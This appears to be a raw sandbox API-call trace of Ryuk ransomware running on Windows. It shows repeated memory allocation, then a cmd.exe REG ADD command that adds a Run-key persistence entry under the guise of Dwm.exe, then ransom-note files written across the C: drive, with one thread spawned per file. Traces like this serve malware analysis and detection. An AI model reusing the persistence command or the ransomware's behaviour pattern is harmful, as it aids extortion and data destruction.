	[0147.902] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5440000
	[0147.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5540000
	[0147.902] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5550000
	[0147.903] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5650000
	[0147.903] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5660000
	[0147.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5760000
	[0147.904] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5770000
	[0147.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5870000
	[0147.905] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5880000
	[0147.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5980000
	[0147.906] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5990000
	[0147.906] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5a90000
	[0147.907] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5aa0000
	[0147.907] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ba0000
	[0147.907] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5bb0000
	[0147.908] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5cb0000
	[0147.908] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5cc0000
	[0147.908] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5dc0000
	[0147.909] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5dd0000
	[0147.909] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ed0000
	[0147.910] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ee0000
	[0147.910] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5fe0000
	[0147.910] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ff0000
	[0147.911] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x60f0000
	[0147.911] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6100000
	[0147.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6200000
	[0147.912] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6210000
	[0147.913] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6310000
	[0147.913] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6320000
	[0148.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6430000
	[0148.585] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6440000
	[0148.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6540000
	[0148.585] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6550000
	[0148.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6650000
	[0148.586] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6660000
	[0148.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6760000
	[0148.587] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6770000
	[0148.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6870000
	[0148.587] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6880000
	[0148.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6980000
	[0148.588] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6990000
	[0148.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6a90000
	[0148.589] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6aa0000
	[0148.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000
	[0148.590] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6bb0000
	[0148.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6cb0000
	[0148.591] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6cc0000
	[0148.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6dc0000
	[0148.591] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6dd0000
	[0148.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ed0000
	[0148.592] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ee0000
	[0148.593] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6fe0000
	[0148.593] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ff0000
	[0148.593] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x70f0000
	[0148.594] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7100000
	[0148.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7200000
	[0148.594] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7210000
	[0148.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7310000
	[0148.595] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7320000
	[0148.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7420000
	[0148.596] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7430000
	[0148.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7530000
	[0148.597] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7540000
	[0148.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7640000
	[0148.598] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7650000
	[0148.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7750000
	[0148.598] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7760000
	[0148.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7860000
	[0148.599] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7870000
	[0148.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7970000
	[0148.600] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7980000
	[0148.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7a80000
	[0148.601] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7a90000
	[0148.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7b90000
	[0148.601] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba0000
	[0148.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ca0000
	[0148.602] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7cb0000
	[0148.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7db0000
	[0148.603] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7dc0000
	[0148.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ec0000
	[0148.604] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed0000
	[0148.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7fd0000
	[0148.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7fe0000
	[0148.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x80e0000
	[0148.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x80f0000
	[0148.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x81f0000
	[0148.606] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8200000
	[0148.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8300000
	[0148.607] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8310000
	[0148.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8410000
	[0148.608] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8420000
	[0148.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8520000
	[0148.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8530000
	[0148.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0148.960] GetWindowsDirectoryW (in: lpBuffer=0x218e4e0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0148.960] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x218e290, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b
	[0149.195] GetBinaryTypeW (in: lpApplicationName="C:\\Windows\\system32\\Dwm.exe", lpBinaryType=0x218e4b0 | out: lpBinaryType=0x218e4b0) returned 1
	[0149.197] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x218e6b0, nSize=0x140 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b
	[0149.198] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0156.506] GetTempPathW (in: nBufferLength=0x1388, lpBuffer=0x13f5a9c80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
	[0157.048] SetLastError (dwErrCode=0x0) 
	[0157.048] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RyukReadMe.html" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b4
	[0157.055] GetLastError () returned 0x0
	[0157.055] WriteFile (in: hFile=0x2b4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ee48, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x218ee48*=0x273, lpOverlapped=0x0) returned 1
	[0157.060] CloseHandle (hObject=0x2b4) returned 1
	[0157.065] GetLogicalDrives () returned 0x4
	[0157.065] GetDriveTypeW (lpRootPathName="C:") returned 0x3
	[0157.065] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7c570
	[0157.451] SetLastError (dwErrCode=0x0) 
	[0157.451] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.452] GetLastError () returned 0x5
	[0157.452] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0157.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.542] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bf10
	[0157.542] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.544] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0157.544] SetLastError (dwErrCode=0x0) 
	[0157.544] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.544] GetLastError () returned 0x5
	[0157.544] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.545] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.545] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.545] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0157.545] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0157.545] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.546] SetLastError (dwErrCode=0x0) 
	[0157.546] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8
	[0157.547] GetLastError () returned 0x0
	[0157.547] WriteFile (in: hFile=0x1b8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x218dfe8*=0x273, lpOverlapped=0x0) returned 1
	[0157.550] CloseHandle (hObject=0x1b8) returned 1
	[0157.550] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0157.551] FindClose (in: hFindFile=0x7bf10 | out: hFindFile=0x7bf10) returned 1
	[0157.551] SetLastError (dwErrCode=0x0) 
	[0157.551] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.551] GetLastError () returned 0x5
	[0157.551] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0157.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.551] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0157.552] SetLastError (dwErrCode=0x0) 
	[0157.552] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.552] GetLastError () returned 0x5
	[0157.552] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0157.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.552] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bf10
	[0157.553] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.553] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0157.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0157.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8
	[0157.557] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.557] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0157.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0157.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0157.561] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0157.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
